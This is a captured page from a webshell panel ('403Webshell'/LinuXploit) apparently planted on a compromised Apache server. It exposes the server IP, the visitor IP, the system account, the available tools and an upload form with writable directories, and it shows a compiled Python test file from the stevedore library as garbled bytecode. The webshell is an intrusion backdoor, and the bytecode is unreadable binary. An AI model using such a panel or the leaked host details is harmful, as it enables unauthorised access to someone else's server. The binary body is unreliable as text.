403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/stevedore/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/stevedore/tests/__pycache__/test_extension.cpython-311.pyc
�

��Oc�(��.�dZddlmZddlZddlmZddlmZddlm	Z	ddl
mZgd�Zdd	gZ
Gd
�de��ZGd�d
e��ZGd�dej��ZGd�dej��ZGd�dej��ZGd�dej��ZdS)zTests for stevedore.extension
�N)�mock)�	exception)�	extension)�utils)�e1�t1�t2rr	c��eZdZd�Zd�ZdS)�
FauxExtensionc�"�||_||_dS�N��args�kwds��selfrrs   �@/usr/lib/python3/dist-packages/stevedore/tests/test_extension.py�__init__zFauxExtension.__init__s����	���	�	�	�c� �|j|j|fSr
r)r�datas  r�get_args_and_datazFauxExtension.get_args_and_data"s���y�$�)�T�)�)rN)�__name__�
__module__�__qualname__rr�rrrrs2���������*�*�*�*�*rrc��eZdZd�ZdS)�BrokenExtensionc� �td���)NzDid not create)�IOErrorrs   rrzBrokenExtension.__init__'s���&�'�'�'rN)rrrrrrrrr&s#������(�(�(�(�(rrc�z�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�ZdS)�TestCallbackc��tjd��}t|�����}|�|t
��dS)N�stevedore.test.extension)r�ExtensionManager�sorted�names�assertEqual�	ALL_NAMES�r�emr's   r�test_detect_pluginsz TestCallback.test_detect_plugins,sD��
�
'�(B�
C�
C���r�x�x�z�z�"�"������	�*�*�*�*�*rc�t�tjd��}|d}|�|jd��dS)Nr$r)rr%r(�name�rr+�es   r�test_get_by_namezTestCallback.test_get_by_name1s:��
�
'�(B�
C�
C���t�H��������&�&�&�&�&rc
�@�tjd��}|���}|�t	gd���t	tt
jd��|������|�dt|����dS)Nr$�r�e2rr	r.�)	rr%�list_entry_pointsr(�set�map�operator�
attrgetter�len)rr+�ns   r�test_list_entry_pointsz#TestCallback.test_list_entry_points6s���
�
'�(B�
C�
C��� � �"�"������5�5�5�6�6��S��!4�V�!<�!<�a�@�@�A�A�	C�	C�	C�����C��F�F�#�#�#�#�#rc��tjd��}|���}|�t	gd���t	|����|�dt|����dS)Nr$r3r5)rr%�entry_points_namesr(r7r;r*s   r�test_list_entry_points_namesz)TestCallback.test_list_entry_points_names=sq��
�
'�(B�
C�
C���%�%�'�'������5�5�5�6�6��E�
�
�C�C�C�����C��J�J�'�'�'�'�'rc�^�tjd��}|�d|vd��dS)Nr$rT)rr%r(�rr+s  r�test_contains_by_namez"TestCallback.test_contains_by_nameCs3��
�
'�(B�
C�
C��������T�*�*�*�*�*rc�r�tjd��}	|dJd���#t$rYdSwxYw)Nr$�t3FzFailed to raise KeyError)rr%�KeyErrorrBs  r�test_get_by_name_missingz%TestCallback.test_get_by_name_missingGsV��
�
'�(B�
C�
C��	5��t�H�H�
5�4�4�4�4���	�	�	��D�D�	���s�(�
6�6c���tjd��}d�|D��}tjd��}d�|D��}|�|d|d��dS)Nr$c��g|]	}|j��
Sr��entry_point��.0�exts  r�
<listcomp>zFTestCallback.test_load_multiple_times_entry_points.<locals>.<listcomp>T���/�/�/�C���/�/�/rc��g|]	}|j��
SrrJrLs  rrOzFTestCallback.test_load_multiple_times_entry_points.<locals>.<listcomp>VrPrr�rr%�assertIs)r�em1�eps1�em2�eps2s     r�%test_load_multiple_times_entry_pointsz2TestCallback.test_load_multiple_times_entry_pointsPsn���(�)C�D�D��/�/�3�/�/�/���(�)C�D�D��/�/�3�/�/�/���
�
�d�1�g�t�A�w�'�'�'�'�'rc���tjd��}d�|D��}tjd��}d�|D��}|�|d|d��dS)Nr$c��g|]	}|j��
Sr��pluginrLs  rrOzATestCallback.test_load_multiple_times_plugins.<locals>.<listcomp>]���.�.�.�3�C�J�.�.�.rc��g|]	}|j��
Srr[rLs  rrOzATestCallback.test_load_multiple_times_plugins.<locals>.<listcomp>_r]rrrR)rrT�plugins1rV�plugins2s     r� test_load_multiple_times_pluginsz-TestCallback.test_load_multiple_times_pluginsYsn���(�)C�D�D��.�.�#�.�.�.���(�)C�D�D��.�.�#�.�.�.���
�
�h�q�k�8�A�;�/�/�/�/�/rc�$�tjj}g|d<tjdtd�����5tjd��}|���}ddd��n#1swxYwY|�|g��dS)Nzstevedore.test.fauxzstevedore._cache.get_group_allzcalled get_group_all)�side_effect)rr%�ENTRY_POINT_CACHEr�patch�AssertionErrorr'r()r�cacher+r's    r�test_use_cachezTestCallback.test_use_cachebs����*�<��')��#�$�
�Z�8�&�'=�>�>�@�@�@�	�	��+�,A�B�B�B��H�H�J�J�E�		�	�	�	�	�	�	�	�	�	�	����	�	�	�	�
	
�����#�#�#�#�#s�)A/�/A3�6A3c��tjd��}td�|D����}|�|t��dS)Nr$c3�$K�|]}|jV��dSr
�r.)rMr0s  r�	<genexpr>z-TestCallback.test_iterable.<locals>.<genexpr>qs$����*�*�!�q�v�*�*�*�*�*�*r)rr%r&r(r)r*s   r�
test_iterablezTestCallback.test_iterableosK��
�
'�(B�
C�
C���*�*�r�*�*�*�*�*������	�*�*�*�*�*rc�"�tjdddddi���}|�t|j��d��|jD]D}|�|jjd��|�|jjddi���EdS)Nr$T)�a�b�B)�invoke_on_load�invoke_args�invoke_kwds�)rr%r(r;�
extensions�objrrr/s   r�test_invoke_on_loadz TestCallback.test_invoke_on_loadts���
�
'�(B�7;�4:�58�#�J�*�*�*��
	
����R�]�+�+�Q�/�/�/���	5�	5�A����Q�U�Z��0�0�0����Q�U�Z�#�s��4�4�4�4�	5�	5rc��d�}tjdd���}|�|��}|�t	|��t
��dS)Nc��|jSr
rk�rNrrs   r�mappedz3TestCallback.test_map_return_values.<locals>.mapped�s	���8�Orr$T�rr)rr%r8r(r&�
WORKING_NAMES�rr|r+�resultss    r�test_map_return_valuesz#TestCallback.test_map_return_valuessc��	�	�	��
'�(B�7;�*�*�*���&�&��.�.���������-�8�8�8�8�8rc���g��fd�}tjdd���}|�|dddd�	��|�t	���d��td
��D����}|�|t���D]=}|�|dd��|�|dddd	����>dS)Nc�8����|||f��dSr
)�append)rNrr�objss   �rr|z/TestCallback.test_map_arguments.<locals>.mapped�s"����K�K��d�D�)�*�*�*�*�*rr$Tr}�ru�Arq�rorpc�(�g|]}|dj��S)rrk)rM�os  rrOz3TestCallback.test_map_arguments.<locals>.<listcomp>�s��0�0�0�a��!��	�0�0�0r)r�ru)rr%r8r(r;r&r~)rr|r+r'r�r�s     @r�test_map_argumentszTestCallback.test_map_arguments�s�����	+�	+�	+�	+�	+��
'�(B�7;�*�*�*��	���v�q�!�s�c��*�*�*�����T���A�&�&�&��0�0�4�0�0�0�1�1������
�.�.�.��	9�	9�A����Q�q�T�6�*�*�*����Q�q�T��3�#7�#7�8�8�8�8�	9�	9rc��d�}tjdd���}|�|dddd�	��}|�|g��dS)
Nc� �td����Nzhard coded error��RuntimeErrorr{s   rr|z1TestCallback.test_map_eats_errors.<locals>.mapped�����1�2�2�2rr$Tr}r�rur�rqr�)rr%r8r(rs    r�test_map_eats_errorsz!TestCallback.test_map_eats_errors�si��	3�	3�	3��
'�(B�7;�*�*�*���&�&���A���&�4�4������"�%�%�%�%�%rc��d�}tjddd���}	|�|dddd�	��J�#t$rYdSwxYw)
Nc� �td���r�r�r{s   rr|z:TestCallback.test_map_propagate_exceptions.<locals>.mapped�r�rr$T)rr�propagate_map_exceptionsr�rur�rqr�)rr%r8r�)rr|r+s   r�test_map_propagate_exceptionsz*TestCallback.test_map_propagate_exceptions�s{��	3�	3�	3��
'�(B�7;�AE�*�*�*��
	��F�F�6�1�a�3�#�F�.�.�.��L���	�	�	��D�D�	���s�8�
A�Ac���d}d�}tjdd���}	|�|dddd	�
��dS#tj$r.}|�|t
|����Yd}~dSd}~wwxYw)Nz1No stevedore.test.extension.none extensions foundc��dSr
rr{s   rr|z<TestCallback.test_map_errors_when_no_plugins.<locals>.mapped�s���Drzstevedore.test.extension.noneTr}r�rur�rqr�)rr%r8r�	NoMatchesr(�str)r�expected_strr|r+�errs     r�test_map_errors_when_no_pluginsz,TestCallback.test_map_errors_when_no_plugins�s���J��	�	�	��
'�(G�7;�*�*�*��	5��F�F�6�1�a�3�#�F�.�.�.�.�.���"�	5�	5�	5����\�3�s�8�8�4�4�4�4�4�4�4�4�4�����	5���s�9�A6�#A1�1A6c���tjdd���}|�dd��}|�t	d�|D����t	dg����dS)Nr$Tr}r�*c3�&K�|]}|dV��
dS)ruNr)rM�rs  rrlz/TestCallback.test_map_method.<locals>.<genexpr>�s&����2�2�a�Q�q�T�2�2�2�2�2�2r)rr%�
map_methodr(r7)rr+�results   r�test_map_methodzTestCallback.test_map_method�sp��
�
'�(B�7;�*�*�*�����2�B�7�7������2�2�6�2�2�2�2�2�C���I�I�>�>�>�>�>rc����tjd���t�fd�tD����}|�|t��������dS)Nr$c�$��g|]}|�|f��
Srr)rMr.r+s  �rrOz+TestCallback.test_items.<locals>.<listcomp>�s"���F�F�F�D��b��h�/�F�F�Fr)rr%r7r)r(�items)r�expected_outputr+s  @r�
test_itemszTestCallback.test_items�s`���
�
'�(B�
C�
C���F�F�F�F�I�F�F�F�G�G������#�b�h�h�j�j�/�/�:�:�:�:�:rN)rrrr,r1r=r@rCrGrXrarhrmrxr�r�r�r�r�r�r�rrrr"r"+s"������+�+�+�
'�'�'�
$�$�$�(�(�(�+�+�+�5�5�5�(�(�(�0�0�0�$�$�$�+�+�+�
	5�	5�	5�9�9�9�9�9�9�"&�&�&�
�
�
�5�5�5�?�?�?�;�;�;�;�;rr"c�*��eZdZ�fd�Zd�Zd�Z�xZS)�!TestLoadRequirementsNewSetuptoolsc����tt|�����tjgd����|_tj�g��|_	dS)N)�require�resolve�loadr.��spec)
�superr��setUpr�Mock�mock_eprr%�make_test_instancer+�r�	__class__s �rr�z'TestLoadRequirementsNewSetuptools.setUp�sW���
�/��6�6�<�<�>�>�>��y�&L�&L�&L�M�M�M����,�?�?��C�C����rc���|j�|jddid���|jj���|jj���dS�NFrT��verify_requirements)r+�_load_one_pluginr�r��assert_called_once_withr��rs r�test_verify_requirementsz:TestLoadRequirementsNewSetuptools.test_verify_requirements�sb���� � ���u�b�"�59�	!�	;�	;�	;����4�4�6�6�6����4�4�6�6�6�6�6rc���|j�|jddid���|�d|jjj��|jj���dS)NFrr�r)r+r�r�r(r��
call_countr�r�r�s r�test_no_verify_requirementsz=TestLoadRequirementsNewSetuptools.test_no_verify_requirements�si���� � ���u�b�"�5:�	!�	<�	<�	<�����D�L�0�;�<�<�<����4�4�6�6�6�6�6r�rrrr�r�r��
__classcell__�r�s@rr�r��s[�������D�D�D�D�D�
7�7�7�7�7�7�7�7�7�7rr�c�*��eZdZ�fd�Zd�Zd�Z�xZS)�!TestLoadRequirementsOldSetuptoolsc����tt|�����tjddg���|_tj�g��|_	dS)Nr�r.r�)
r�r�r�rr�r�rr%r�r+r�s �rr�z'TestLoadRequirementsOldSetuptools.setUp�sU���
�/��6�6�<�<�>�>�>��y�v�v�&6�7�7�7����,�?�?��C�C����rc��|j�|jddid���|jj���dSr��r+r�r�r�r�r�s rr�z:TestLoadRequirementsOldSetuptools.test_verify_requirements�sK���� � ���u�b�"�59�	!�	;�	;�	;����1�1�3�3�3�3�3rc��|j�|jddid���|jj���dS)NFrr�r�r�s rr�z=TestLoadRequirementsOldSetuptools.test_no_verify_requirements�sK���� � ���u�b�"�5:�	!�	<�	<�	<����1�1�3�3�3�3�3rr�r�s@rr�r��s[�������D�D�D�D�D�
4�4�4�
4�4�4�4�4�4�4rr�c�,�eZdZd�Zd�Zd�Zd�Zd�ZdS)�TestExtensionPropertiesc�
�tjdtjddd��t	j��d��|_tjdtjddd��t	j��d��|_dS)Nr.�"module.name:attribute.name [extra]�
group_name�module:attribute)r�	Extension�importlib_metadata�
EntryPointrr��ext1�ext2r�s rr�zTestExtensionProperties.setUp�s����'���)��<�l�
�
�
�I�K�K��

�
��	��'���)��*�L�
�
�
�I�K�K��

�
��	�	�	rc��|�d|jj��|�d|jj��dS)Nzmodule.name�module)r(r��module_namer�r�s r�test_module_namez(TestExtensionProperties.test_module_names>�������	�(=�>�>�>�����4�9�#8�9�9�9�9�9rc��|�dg|jj��|�g|jj��dS)Nz[extra])r(r��extrasr�r�s r�test_extrasz#TestExtensionProperties.test_extrass@�����)��d�i�&6�7�7�7�����T�Y�-�.�.�.�.�.rc��|�d|jj��|�d|jj��dS)Nzattribute.name�	attribute)r(r��attrr�r�s r�	test_attrz!TestExtensionProperties.test_attrs=�����)�4�9�>�:�:�:�����d�i�n�5�5�5�5�5rc��|�d|jj��|�d|jj��dS)Nr�r�)r(r��entry_point_targetr�r�s r�test_entry_point_targetz/TestExtensionProperties.test_entry_point_targetsR�����=���5�	7�	7�	7����+���5�	7�	7�	7�	7�	7rN)rrrr�r�r�r�r�rrrr�r��s_������
�
�
�$:�:�:�/�/�/�6�6�6�7�7�7�7�7rr�)�__doc__�importlib.metadata�metadatar�r9�unittestr�	stevedorerr�stevedore.testsrr)r~�objectrr�TestCaser"r�r�r�rrr�<module>r�s�����0�/�/�/�/�/�����������������������!�!�!�!�!�!�
���	��t��
�*�*�*�*�*�F�*�*�*�(�(�(�(�(�f�(�(�(�
a;�a;�a;�a;�a;�5�>�a;�a;�a;�H7�7�7�7�7���7�7�7�*4�4�4�4�4���4�4�4�&$7�$7�$7�$7�$7�e�n�$7�$7�$7�$7�$7r

Youez - 2016 - github.com/yon3zu
LinuXploit